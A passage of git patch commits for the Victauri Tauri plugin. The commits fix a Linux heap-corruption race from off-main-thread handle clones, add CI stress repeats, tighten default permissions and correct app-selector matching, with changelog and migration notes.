`bridge::on_main`). As sync commands they run on the main thread, where those handles belong. +// `victauri_eval_js` / `victauri_dom_snapshot` must stay `async` — they wait for the page's +// callback — so a page that calls them still takes Tauri's async-command path. #[tauri::command] -pub async fn victauri_get_window_state( +pub fn victauri_get_window_state( app: tauri::AppHandle, label: Option, ) -> Result, String> { @@ -219,14 +248,12 @@ pub async fn victauri_get_window_state( } #[tauri::command] -pub async fn victauri_list_windows( - app: tauri::AppHandle, -) -> Result, String> { +pub fn victauri_list_windows(app: tauri::AppHandle) -> Result, String> { page_window_query(|| crate::bridge::WebviewBridge::list_window_labels(&app)) } #[tauri::command] -pub async fn victauri_get_ipc_log( +pub fn victauri_get_ipc_log( state: State<'_, Arc>, limit: Option, ) -> Result, String> { @@ -239,7 +266,7 @@ pub async fn victauri_get_ipc_log( } #[tauri::command] -pub async fn victauri_get_registry( +pub fn victauri_get_registry( state: State<'_, Arc>, query: Option, ) -> Result { @@ -251,12 +278,12 @@ pub async fn victauri_get_registry( } #[tauri::command] -pub async fn victauri_get_memory_stats() -> Result { +pub fn victauri_get_memory_stats() -> Result { Ok(crate::memory::current_stats()) } #[tauri::command] -pub async fn victauri_verify_state( +pub fn victauri_verify_state( _state: State<'_, Arc>, frontend_state: serde_json::Value, backend_state: serde_json::Value, @@ -266,7 +293,7 @@ pub async fn victauri_verify_state( } #[tauri::command] -pub async fn victauri_detect_ghost_commands( +pub fn victauri_detect_ghost_commands( state: State<'_, Arc>, ) -> Result { let ipc_calls = state.event_log.ipc_calls(); @@ -282,7 +309,7 @@ pub async fn victauri_detect_ghost_commands( } #[tauri::command] -pub async fn victauri_check_ipc_integrity( +pub fn victauri_check_ipc_integrity( state: State<'_, Arc>, stale_threshold_ms: Option, ) -> Result { From 872753d1dd7c149bd4730b7f53b726f6240e93c9 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 13:47:27 +1000 Subject: [PATCH 097/167] test, ci, docs: guard the off-main-handle fix; repeat the Linux heap tests; record the root cause - tools.rs test: only victauri_eval_js / victauri_dom_snapshot may be async commands (shown to fail when victauri_eval_callback is made async again). - CI E2E (Linux): the three heap-sensitive tests run again against three fresh apps and any dead host fails the job. One run was too weak a detector: the 0.9.0 corruption killed the host in ~25-50% of runs and hid behind nine green single runs. - CHANGELOG: the Linux host crash, its root cause (Tauri handle clone/drop off the main thread races tao's non-atomic Rc), the proof without Victauri, the fix, and the upstream residual; the yield-spin note no longer claims the spin crashed the host. - MIGRATION: the page-callable commands that became synchronous (no action needed), and that an app cloning Tauri handles on background threads hits the same Tauri race. - CLAUDE.md: the root cause, so it is not re-investigated. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- .github/workflows/ci.yml | 40 +++++++++++++++++++++++++++++ CHANGELOG.md | 28 ++++++++++++++++++-- CLAUDE.md | 18 +++++++++++++ MIGRATION.md | 8 ++++++ crates/victauri-plugin/src/tools.rs | 24 +++++++++++++++++ 5 files changed, 116 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 08241c44..de63cca0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -636,6 +636,46 @@ jobs: env: VICTAURI_E2E: "1" + # One run of the suite is a weak detector for a host crash that depends on timing: the + # 0.9.0 Linux heap corruption (a Tauri handle cloned/dropped off the main thread) killed the + # host in only ~25-50% of runs and hid behind nine green single runs. So on Linux the + # heap-sensitive tests run again against three FRESH apps, and any dead host fails the job. + - name: Heap-safety repeats against fresh apps (Linux) + if: runner.os == 'Linux' + env: + VICTAURI_E2E: "1" + run: | + # The suite's app is stopped on purpose here; clear APP_PID so the failure step below + # does not report it as a host that died. + if [ -n "$APP_PID" ]; then kill "$APP_PID" 2>/dev/null || true; fi + echo "APP_PID=" >> "$GITHUB_ENV" + sleep 1 + deaths=0 + for i in 1 2 3; do + xvfb-run -a ./target/debug/demo-app >/tmp/repeat-$i.out 2>/tmp/repeat-$i.err & + pid=$! + for t in $(seq 1 60); do + code=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:7373/health || true) + case "$code" in 2??|429) break ;; esac + sleep 1 + done + cargo test -q -p demo-app --test integration -- --test-threads=1 --exact \ + concurrent_window_introspection_is_heap_safe \ + webview_access_main_thread_safe_under_ipc_load \ + webview_reload_during_introspection_is_safe || true + sleep 2 + if ! pgrep -x demo-app >/dev/null || grep -qE 'malloc|corrupted|double free|unaligned|free\(\)' /tmp/repeat-$i.err /tmp/repeat-$i.out; then + deaths=$((deaths + 1)) + echo "::error::repeat $i: the demo-app host died" + tail -n 40 /tmp/repeat-$i.err /tmp/repeat-$i.out + fi + pkill -x demo-app || true + kill "$pid" 2>/dev/null || true + sleep 1 + done + echo "host deaths: $deaths/3" + test "$deaths" -eq 0 + # Only on failure, and only where we captured it. If the host died, its own output names # the cause; without this the log shows nothing but "connection refused". - name: Show demo app output on failure (Unix) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7ca7c39c..0a8d684a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -125,8 +125,32 @@ rusqlite range forced `bundled` onto the app's rusqlite (now a separate default 60 s while the server allows 300 s; the VS Code extension counted a 429 on the authenticated probe as success; plus a garbled error message, a stray doc comment, and a lost XHR log entry after a throwing `open()`. (A proposed yield spin to shave up to ~15 ms off back-to-back main-thread round -trips on Windows was reverted: with it the Linux/WebKitGTK E2E host crashed with heap corruption in -CI 2/2, without it passed — a latency nicety is not worth reopening that race.) +trips on Windows was dropped while chasing the Linux host crash below; it was not the cause.) + +**Linux host crash under concurrent introspection — root cause found and fixed.** Round-4 builds +lost the Linux/WebKitGTK host in ~25–50% of CI stress runs (the E2E sequence repeated against fresh +apps; glibc `corrupted double-linked list` / `unaligned fastbin chunk`), against 0 in 104 runs for +0.8.8 and every pre-round-4 build. The cause is below Victauri but Victauri triggered it: on Linux +every Tauri handle (`AppHandle`, `Webview`, `WebviewWindow`) carries tauri-runtime-wry's `Context`, +which holds the main-thread context by value — including tao's event-loop target and its +`Rc>>` — behind an `unsafe impl Send + Sync` whose contract is "main +thread only". Cloning or dropping any handle therefore bumps a non-atomic refcount that the main +thread bumps constantly. Victauri did that on every tool call: the main-thread dispatcher cloned the +`AppHandle` on the calling thread, and the eval callback (hit by every eval, drain tick and +snapshot) was an async command, which Tauri runs — extracting and dropping its `Webview` — on a +tokio worker. Proven with Victauri absent (a bare Tauri app running the same load in-process): +background threads that only clone and drop the `AppHandle` while the page makes IPC calls abort the +process; 12 threads of `run_on_main_thread` round trips with an off-thread clone aborted 5/5 (5/5 +with an empty closure, 3/5 with no IPC at all); the same load with the handle taken on the main +thread ran 10/10 clean. Now the dispatcher's closure uses a handle owned by the main thread (the +caller only borrows the `AppHandle` to post it, which does not clone), and the eval callback plus +every other page-callable command that never waits are synchronous commands, which Tauri runs on the +main thread. Every bisect, allocator, sanitizer and SQLite experiment run on the way (listed in the +round-4 report) pointed at timing because a refcount race IS timing: it explains why the 0.8.8 lock +reduced the crash, why round-4's extra waits made it worse, and why identical code crashed or passed +depending on the build. **Residual (upstream):** `victauri_eval_js` / `victauri_dom_snapshot` (page +API, opt-in) must stay async, and an app's own async commands and background `AppHandle` clones go +through the same Tauri path — reportable to Tauri/tao. **Disproved in round 4** (tested, not defects): eval ids leaking via `.caller` (V8 blocks the second hop); `PRAGMA quick_check` overrunning its deadline on a 1.47 GB database (3.8 s); discovery diff --git a/CLAUDE.md b/CLAUDE.md index 29b040e1..f9ec6b7c 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -204,6 +204,24 @@ Disproved with evidence (don't re-raise): eval-id `.caller` leak, quick_check ov dirs left on clean exit, Windows socket inheritance by child processes, missing tauri `rename`. PR #73 (backend logs) is deferred to 0.9.1. Report: https://claude.ai/artifact/Wfmx9d2khAuCesB7SFu8ge +**Linux host heap corruption — ROOT CAUSE (don't re-investigate):** on Linux every Tauri handle +(`AppHandle`, `Webview`, `WebviewWindow`) carries tauri-runtime-wry's `Context`, which holds the +main-thread context by value, which holds tao's `EventLoopWindowTarget` with +`windows: Rc>>` (behind `unsafe impl Send + Sync`, "main thread only"). +**Cloning or dropping ANY Tauri handle off the main thread races that non-atomic `Rc`** → glibc +`corrupted double-linked list` / `unaligned fastbin chunk`, surfacing on whatever thread allocates +next. Proven with no Victauri in the process (demo-app build with an in-process driver: bg threads +that only clone+drop the `AppHandle` abort; with the handle taken on the main thread, 10/10 clean). +Victauri did it per call: `on_main` cloned the `AppHandle` on the caller, and the eval callback was +an `async` Tauri command (Tauri extracts async args + drops the resolver's `Webview` on tokio). +Fixed: `on_main` uses a main-thread-owned handle (`bridge::install_main_app`), and every Victauri +command that does not wait for the page is SYNC (runs on the main thread); a test pins that only +`victauri_eval_js`/`victauri_dom_snapshot` are async. The 0.8.8 `MAIN_DISPATCH_LOCK` only reduced +concurrent off-main clones — it was never the real fix. Lessons: bisecting a refcount race +converges on noise (identical code split 3/3 vs 0/3 across builds); WSL never reproduced the +Victauri suite but reproduced the minimal repro instantly; the CI E2E job now repeats the +heap-sensitive tests against 3 fresh apps on Linux. + ### v0.9.0 — rounds 1-2 + a one-time `#[non_exhaustive]` break (release-prepped, NOT published) Triggered by an in-the-wild failure: a 4DA session ran `invoke_command quit_app` through the diff --git a/MIGRATION.md b/MIGRATION.md index f166432a..35d10bdc 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -126,6 +126,14 @@ implementations, so existing impls compile unchanged — `try_get_window_states` - `introspect command_timings` has an additive `saturated` flag; `ContractStore::record` returns the command of a baseline it evicted (`Option`); faults, contract baselines and page-load records are capped (256 / 1024 / 256). +- Victauri's page-callable Tauri commands `victauri_eval_callback`, `victauri_get_window_state`, + `victauri_list_windows`, `victauri_get_ipc_log`, `victauri_get_registry`, + `victauri_get_memory_stats`, `victauri_verify_state`, `victauri_detect_ghost_commands` and + `victauri_check_ipc_integrity` are now synchronous, so Tauri runs them on the main thread (the + page still gets a promise; nothing to change). This keeps Tauri handles on the main thread — + cloning or dropping one elsewhere corrupted the heap on Linux (see CHANGELOG). If your own app + clones an `AppHandle` / window / webview on background threads on Linux, the same Tauri race + applies to it. - New in `victauri-test`: `invoke_command_with_timeout`, `discover_app`, the `terminal` sanitizer module and `health_status_means_alive`. - The config structs `CodegenOptions`, `SmokeConfig`, `VisualOptions`, `MaskRegion` and the diff --git a/crates/victauri-plugin/src/tools.rs b/crates/victauri-plugin/src/tools.rs index bd30d2ab..a2f8c0ba 100644 --- a/crates/victauri-plugin/src/tools.rs +++ b/crates/victauri-plugin/src/tools.rs @@ -345,4 +345,28 @@ mod tests { MAX_PAGE_WINDOW_QUERIES ); } + + /// Tauri runs an `async` command on a tokio worker and extracts/drops its arguments and its + /// resolver (which holds a `Webview`) there; on Linux every Tauri handle carries a non-atomic + /// `Rc`, and doing that for the eval callback on every eval corrupted the host heap (0.9.0). + /// Only the two commands that genuinely wait for the page may be `async`. A new `async` + /// command here must first be shown not to touch Tauri handles off the main thread. + #[test] + fn only_the_commands_that_wait_for_the_page_are_async() { + let source = include_str!("tools.rs"); + let async_commands: Vec<&str> = source + .lines() + .filter_map(|l| l.trim_start().strip_prefix("pub async fn victauri_")) + .map(|rest| rest.split(['<', '(']).next().unwrap_or(rest)) + .collect(); + assert_eq!( + async_commands, + vec!["eval_js", "dom_snapshot"], + "only victauri_eval_js / victauri_dom_snapshot may be async commands" + ); + assert!( + source.contains("pub fn victauri_eval_callback("), + "victauri_eval_callback must stay a synchronous command" + ); + } } From 984647361d6dea877d969128f90b5ce8e1729020 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 20:24:03 +1000 Subject: [PATCH 098/167] docs: CI + live validation of the off-main-handle fix; correct MAIN_DISPATCH_LOCK's cause CHANGELOG: fixed code 0/40 host deaths in CI stress (unfixed 37/80 the same day), repro with the off-thread clone 15/15 vs 0/15 without, release head 23/23 CI jobs; live 4DA probes 121/121, flood 5/5, soaks clean, dogfood unchanged. bridge.rs: MAIN_DISPATCH_LOCK's doc said concurrent round trips corrupt the heap; the real cause was the per-round-trip AppHandle clone off the main thread, which the lock only throttled. The lock stays (bounds UI-thread queueing, measured-safe). Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- CHANGELOG.md | 8 +++++++- crates/victauri-plugin/src/bridge.rs | 7 +++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0a8d684a..77a17e88 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -145,7 +145,13 @@ with an empty closure, 3/5 with no IPC at all); the same load with the handle ta thread ran 10/10 clean. Now the dispatcher's closure uses a handle owned by the main thread (the caller only borrows the `AppHandle` to post it, which does not clone), and the eval callback plus every other page-callable command that never waits are synchronous commands, which Tauri runs on the -main thread. Every bisect, allocator, sanitizer and SQLite experiment run on the way (listed in the +main thread. Validated in CI (ubuntu-latest) on the fixed code: **0 host deaths in 40 stress runs** +(the unfixed code lost the host 37/80 the same day), while the Victauri-less repro still died 15/15 +with the off-thread clone and 0/15 without it; the release head then passed all 23 CI jobs, and the +Linux E2E job now also repeats the heap-sensitive tests against three fresh apps. Live on 4DA +(Windows, 1.47 GB database): probe battery 121/121, auth-on flood 5/5, reload soaks 35,157 and +35,625 calls with 1 and 0 errors, dogfood 155/1/3 (the one failure is 4DA's own >30 s command, as +before the fix). Every bisect, allocator, sanitizer and SQLite experiment run on the way (listed in the round-4 report) pointed at timing because a refcount race IS timing: it explains why the 0.8.8 lock reduced the crash, why round-4's extra waits made it worse, and why identical code crashed or passed depending on the build. **Residual (upstream):** `victauri_eval_js` / `victauri_dom_snapshot` (page diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index e70da60b..6d715a71 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -206,6 +206,13 @@ fn find_window<'a, R: Runtime>( /// Serializes Victauri's main-thread round trips. /// +/// **Correction (0.9.0): the heap corruption described below was NOT caused by concurrent round +/// trips as such.** Its real cause was the `AppHandle` clone each round trip made on the calling +/// thread (see [`on_main`]) — cloning or dropping any Tauri handle off the main thread races a +/// non-atomic `Rc` inside tao on Linux. Serializing only limited how many threads cloned at once, +/// which is why it reduced the crash without removing it. The lock stays: it bounds how much +/// Victauri can queue onto the UI thread and is measured-safe. The original 0.8.8 notes follow. +/// /// Concurrent `run_on_main_thread` round trips corrupt the process heap on Linux/WebKitGTK — /// glibc aborts the app with `malloc(): unaligned tcache chunk detected` or `corrupted /// double-linked list`. Measured on Ubuntu 24.04 + `WebKitGTK` 2.52, three concurrent From 12f2a913eb4fbb87b3cf25df118310bcc3c6db57 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 22:06:15 +1000 Subject: [PATCH 099/167] fix(server): never drop the bridge's AppHandle off the main thread at shutdown The MCP server's bridge is the plugin's one long-lived Tauri AppHandle. When the server's tasks ended at app exit, the last Arc drop freed it on a tokio worker: one more off-main-thread handle drop (the Linux Rc race fixed in ae033e8), while the main thread was tearing down. It lives for the process anyway, so one reference is now kept forever. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- crates/victauri-plugin/src/mcp/server.rs | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 126b0439..7de216c8 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -371,6 +371,11 @@ pub async fn start_server_reporting_port( bound: Option>>, ) -> anyhow::Result<()> { let bridge: Arc = Arc::new(app_handle); + // The bridge IS a Tauri `AppHandle`, and the server's tasks end on tokio workers; dropping + // the last reference there would drop a Tauri handle off the main thread — the Linux `Rc` + // race documented on `bridge::on_main`. It lives for the process anyway, so keep one + // reference forever instead of letting shutdown free it on the wrong thread. + std::mem::forget(Arc::clone(&bridge)); // Normalize once so the discovery-file token and the request gate agree (B2): // an empty token must not be written to the discovery file as if auth were on. let auth_token = normalize_auth_token(auth_token); From c59e5ce0710377e65e9d733e66776a51434a9876 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:24:51 +1000 Subject: [PATCH 100/167] fix(watchdog): match --app identity ASCII case-insensitively, like the bridge (R5-WD1) Selector::App and Selector::Pinned compared the bundle identifier / product name with ==, while the CLI bridge (matches_app) and victauri-test discovery use exact ASCII case-insensitive matching. A selector matching nothing is treated as 'app down', so --app com.mock.app against a healthy com.Mock.App fired the recovery command in a loop. Matching is now identical to the bridge's: exact, never a substring, ASCII case-insensitive. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-watchdog/src/main.rs | 43 ++++++++++++++++++++++++---- 1 file changed, 37 insertions(+), 6 deletions(-) diff --git a/crates/victauri-watchdog/src/main.rs b/crates/victauri-watchdog/src/main.rs index a9b05ffa..836006b5 100644 --- a/crates/victauri-watchdog/src/main.rs +++ b/crates/victauri-watchdog/src/main.rs @@ -117,15 +117,17 @@ impl Selector { .and_then(|v| v.as_str()) .filter(|s| !s.is_empty()) }; + // Identity comparison is EXACT but ASCII case-insensitive — identical to the CLI + // bridge's `matches_app` and victauri-test's discovery (R5-WD1). A case-only mismatch + // must never read as "app down": that fires the recovery command against a healthy app. + let same = + |value: Option<&str>, want: &str| value.is_some_and(|v| v.eq_ignore_ascii_case(want)); match self { Self::Any => true, - Self::App(want) => { - field("identifier") == Some(want.as_str()) - || field("product_name") == Some(want.as_str()) - } + Self::App(want) => same(field("identifier"), want) || same(field("product_name"), want), Self::Pinned(id) => match field("identifier") { - Some(identifier) => identifier == id, - None => field("product_name") == Some(id.as_str()), + Some(identifier) => identifier.eq_ignore_ascii_case(id), + None => same(field("product_name"), id), }, Self::Pid(p) => *p == pid, } @@ -948,6 +950,35 @@ mod tests { assert_eq!(pinned.pin(&app(9, 1, Some("com.z"))), pinned); } + /// R5-WD1: `--app` must match exactly like the CLI bridge (`matches_app`) and + /// victauri-test discovery — ASCII case-insensitive, never a substring. A case-only + /// mismatch used to be read as "app down" and fire the recovery command in a loop + /// against a healthy app. + #[test] + fn app_selector_is_ascii_case_insensitive_like_the_bridge() { + let meta = serde_json::json!({"identifier": "com.Mock.App", "product_name": "Mock App"}); + assert!(app_sel("com.mock.app").matches(1, &meta)); + assert!(app_sel("COM.MOCK.APP").matches(1, &meta)); + assert!(app_sel("mock app").matches(1, &meta)); + // Still exact: no substring / prefix matches. + assert!(!app_sel("com.mock").matches(1, &meta)); + assert!(!app_sel("mock").matches(1, &meta)); + + let tmp = tempfile::tempdir().unwrap(); + write_entry(tmp.path(), 100, "7373", Some("com.Mock.App")); + assert_eq!( + discover_in(tmp.path(), &app_sel("com.mock.app"), |_| true), + Discovery::Found(app(100, 7373, Some("com.Mock.App"))) + ); + + // The pinned identity follows the same rule (it is re-matched after a restart). + let pinned = Selector::Pinned("com.Mock.App".to_string()); + let restarted = serde_json::json!({"identifier": "com.mock.app"}); + assert!(pinned.matches(2, &restarted)); + let other = serde_json::json!({"identifier": "com.mock.app.other"}); + assert!(!pinned.matches(3, &other)); + } + #[test] fn identityless_entry_pins_to_its_pid() { let tmp = tempfile::tempdir().unwrap(); From 2ac4858e84ad57703ed3aefb2def9a9da7dfc374 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:27:27 +1000 Subject: [PATCH 101/167] fix(permissions): drop eval_js / dom_snapshot from victauri:default The two page-callable async commands were granted by the default set even though the CHANGELOG calls them "page API, opt-in". They are the last async Victauri commands (Tauri extracts async args and drops the resolver's handles on a tokio worker - the Linux heap-corruption class this release fixes) and victauri_eval_js is a CSP-independent eval any page script could call. Nothing in Victauri calls them. The individual allow-/deny- permissions stay so apps can opt back in; MIGRATION.md gives the exact capability lines. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 12 ++++++++++++ MIGRATION.md | 15 +++++++++++++++ .../permissions/autogenerated/reference.md | 4 +--- crates/victauri-plugin/permissions/default.toml | 9 ++++++--- .../permissions/schemas/schema.json | 4 ++-- 5 files changed, 36 insertions(+), 8 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 77a17e88..767ffb82 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -423,6 +423,18 @@ The remainder of this entry is the first (full-surface) audit round, merged in # - Surface Audit workflow had false-failed every week since July (crates.io 403s without a User-Agent); docs install pins, action refs and tool counts corrected. +### Round 5 — pre-publish audit + +- **Breaking (permissions): `victauri:default` no longer grants `allow-victauri-eval-js` or + `allow-victauri-dom-snapshot`.** They were in the default set although this entry describes them + as "page API, opt-in". They are the only async Victauri commands left — on Linux an async + command's argument extraction and resolver clone and drop Tauri handles on a tokio worker (the + host heap-corruption class fixed above), so any page script in an app using `victauri:default` + could drive that path in a loop — and `victauri_eval_js` is an eval reachable by page script + regardless of the app's CSP. Nothing in Victauri calls them (the bridge and every tool use only + `victauri_eval_callback`). The individual `allow-`/`deny-` permissions remain, so an app can opt + back in; see MIGRATION.md. + ## [0.8.8] - 2026-08-12 The MCP-infrastructure release: the embedded server jumps two SDK major versions diff --git a/MIGRATION.md b/MIGRATION.md index 35d10bdc..867defdb 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -134,6 +134,21 @@ implementations, so existing impls compile unchanged — `try_get_window_states` cloning or dropping one elsewhere corrupted the heap on Linux (see CHANGELOG). If your own app clones an `AppHandle` / window / webview on background threads on Linux, the same Tauri race applies to it. +- **`victauri:default` no longer grants `victauri_eval_js` / `victauri_dom_snapshot`.** These two + page-callable Tauri commands are the only async Victauri commands left (Tauri runs an async + command's argument extraction on a tokio worker, the Linux handle race above), and + `victauri_eval_js` is a CSP-independent eval that any page script could call. Nothing in Victauri + uses them — the MCP/REST tools and the injected bridge only need `victauri_eval_callback`, which + stays in the default set — so almost every app needs no change. If your own frontend code calls + them, grant them explicitly next to `victauri:default` in that window's capability file: + + ```json + "permissions": [ + "victauri:default", + "victauri:allow-victauri-eval-js", + "victauri:allow-victauri-dom-snapshot" + ] + ``` - New in `victauri-test`: `invoke_command_with_timeout`, `discover_app`, the `terminal` sanitizer module and `health_status_means_alive`. - The config structs `CodegenOptions`, `SmokeConfig`, `VisualOptions`, `MaskRegion` and the diff --git a/crates/victauri-plugin/permissions/autogenerated/reference.md b/crates/victauri-plugin/permissions/autogenerated/reference.md index 1bd356b3..a2abc6bd 100644 --- a/crates/victauri-plugin/permissions/autogenerated/reference.md +++ b/crates/victauri-plugin/permissions/autogenerated/reference.md @@ -1,17 +1,15 @@ ## Default Permission -Default permissions for the Victauri plugin — allows all introspection commands. +Default permissions for the Victauri plugin — the commands Victauri's own injected bridge needs (the eval callback) plus the synchronous, read-only introspection commands. `allow-victauri-eval-js` and `allow-victauri-dom-snapshot` (page-callable eval / snapshot; async commands) are NOT included — grant them explicitly if page code needs them. #### This default permission set includes the following: -- `allow-victauri-eval-js` - `allow-victauri-eval-callback` - `allow-victauri-get-window-state` - `allow-victauri-list-windows` - `allow-victauri-get-ipc-log` - `allow-victauri-get-registry` - `allow-victauri-get-memory-stats` -- `allow-victauri-dom-snapshot` - `allow-victauri-verify-state` - `allow-victauri-detect-ghost-commands` - `allow-victauri-check-ipc-integrity` diff --git a/crates/victauri-plugin/permissions/default.toml b/crates/victauri-plugin/permissions/default.toml index 01b99d9b..ba5f6344 100644 --- a/crates/victauri-plugin/permissions/default.toml +++ b/crates/victauri-plugin/permissions/default.toml @@ -1,14 +1,17 @@ [default] -description = "Default permissions for the Victauri plugin — allows all introspection commands." +description = """ +Default permissions for the Victauri plugin — the commands Victauri's own injected bridge needs \ +(the eval callback) plus the synchronous, read-only introspection commands. \ +`allow-victauri-eval-js` and `allow-victauri-dom-snapshot` (page-callable eval / snapshot; async \ +commands) are NOT included — grant them explicitly if page code needs them.\ +""" permissions = [ - "allow-victauri-eval-js", "allow-victauri-eval-callback", "allow-victauri-get-window-state", "allow-victauri-list-windows", "allow-victauri-get-ipc-log", "allow-victauri-get-registry", "allow-victauri-get-memory-stats", - "allow-victauri-dom-snapshot", "allow-victauri-verify-state", "allow-victauri-detect-ghost-commands", "allow-victauri-check-ipc-integrity", diff --git a/crates/victauri-plugin/permissions/schemas/schema.json b/crates/victauri-plugin/permissions/schemas/schema.json index 0ed7ba5c..43908ee0 100644 --- a/crates/victauri-plugin/permissions/schemas/schema.json +++ b/crates/victauri-plugin/permissions/schemas/schema.json @@ -427,10 +427,10 @@ "markdownDescription": "Denies the victauri_verify_state command without any pre-configured scope." }, { - "description": "Default permissions for the Victauri plugin — allows all introspection commands.\n#### This default permission set includes:\n\n- `allow-victauri-eval-js`\n- `allow-victauri-eval-callback`\n- `allow-victauri-get-window-state`\n- `allow-victauri-list-windows`\n- `allow-victauri-get-ipc-log`\n- `allow-victauri-get-registry`\n- `allow-victauri-get-memory-stats`\n- `allow-victauri-dom-snapshot`\n- `allow-victauri-verify-state`\n- `allow-victauri-detect-ghost-commands`\n- `allow-victauri-check-ipc-integrity`", + "description": "Default permissions for the Victauri plugin — the commands Victauri's own injected bridge needs (the eval callback) plus the synchronous, read-only introspection commands. `allow-victauri-eval-js` and `allow-victauri-dom-snapshot` (page-callable eval / snapshot; async commands) are NOT included — grant them explicitly if page code needs them.\n#### This default permission set includes:\n\n- `allow-victauri-eval-callback`\n- `allow-victauri-get-window-state`\n- `allow-victauri-list-windows`\n- `allow-victauri-get-ipc-log`\n- `allow-victauri-get-registry`\n- `allow-victauri-get-memory-stats`\n- `allow-victauri-verify-state`\n- `allow-victauri-detect-ghost-commands`\n- `allow-victauri-check-ipc-integrity`", "type": "string", "const": "default", - "markdownDescription": "Default permissions for the Victauri plugin — allows all introspection commands.\n#### This default permission set includes:\n\n- `allow-victauri-eval-js`\n- `allow-victauri-eval-callback`\n- `allow-victauri-get-window-state`\n- `allow-victauri-list-windows`\n- `allow-victauri-get-ipc-log`\n- `allow-victauri-get-registry`\n- `allow-victauri-get-memory-stats`\n- `allow-victauri-dom-snapshot`\n- `allow-victauri-verify-state`\n- `allow-victauri-detect-ghost-commands`\n- `allow-victauri-check-ipc-integrity`" + "markdownDescription": "Default permissions for the Victauri plugin — the commands Victauri's own injected bridge needs (the eval callback) plus the synchronous, read-only introspection commands. `allow-victauri-eval-js` and `allow-victauri-dom-snapshot` (page-callable eval / snapshot; async commands) are NOT included — grant them explicitly if page code needs them.\n#### This default permission set includes:\n\n- `allow-victauri-eval-callback`\n- `allow-victauri-get-window-state`\n- `allow-victauri-list-windows`\n- `allow-victauri-get-ipc-log`\n- `allow-victauri-get-registry`\n- `allow-victauri-get-memory-stats`\n- `allow-victauri-verify-state`\n- `allow-victauri-detect-ghost-commands`\n- `allow-victauri-check-ipc-integrity`" } ] } From 9ecb6fbbe013b7a356afb0aac4a360f730dcbe6b Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:34:28 +1000 Subject: [PATCH 102/167] fix(cli): treat a blank VICTAURI_APP / --app as unset in the bridge (R5-BR2) The bridge read VICTAURI_APP with app.or_else(env) and no trim/empty filter, so VICTAURI_APP= (e.g. a templated .mcp.json) selected an app named '' - matching nothing - and every tool call reported 'backend not reachable' with the app running. victauri-test and the watchdog already treat a blank value as unset; the bridge now does too (both --app and the env var are trimmed, blank = unset). Adds tests/bridge_protocol_e2e.rs: a harness that drives the real bridge binary against a mock backend through an isolated discovery root. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 26 ++- .../victauri-cli/tests/bridge_protocol_e2e.rs | 205 ++++++++++++++++++ 2 files changed, 230 insertions(+), 1 deletion(-) create mode 100644 crates/victauri-cli/tests/bridge_protocol_e2e.rs diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 58c0b2a9..889be5b9 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -99,6 +99,15 @@ impl ServerInfo { } } +/// The effective app selector: `--app`, else `VICTAURI_APP`, each trimmed, and an empty or +/// whitespace-only value treated as NOT SET — exactly as victauri-test and the watchdog read +/// `VICTAURI_APP` (R5-BR2). A set-but-empty `VICTAURI_APP=` used to select an app named "", +/// which matches nothing, so every call reported "backend not reachable" with the app running. +fn resolve_app_selector(cli: Option, env: Option) -> Option { + let normalize = |s: Option| s.map(|s| s.trim().to_string()).filter(|s| !s.is_empty()); + normalize(cli).or_else(|| normalize(env)) +} + /// Run the stdio bridge for MCP clients. /// /// Unlike a naive proxy, this NEVER blocks the MCP handshake on discovering a backend: @@ -116,7 +125,7 @@ pub async fn run(wait: bool, app: Option) -> Result<()> { // now a no-op: the handshake never blocks on discovery, so there is nothing to wait for. // Tool calls discover lazily and fail fast with an actionable message when the app is down. let _ = wait; - let app = app.or_else(|| std::env::var("VICTAURI_APP").ok()); + let app = resolve_app_selector(app, std::env::var("VICTAURI_APP").ok()); let http = build_client()?; // The live backend, discovered lazily. `None` until an app is found — the bridge starts @@ -1801,6 +1810,21 @@ mod tests { let _ = std::fs::remove_dir_all(&base); } + /// R5-BR2: blank selectors are "unset", matching victauri-test and the watchdog. + #[test] + fn 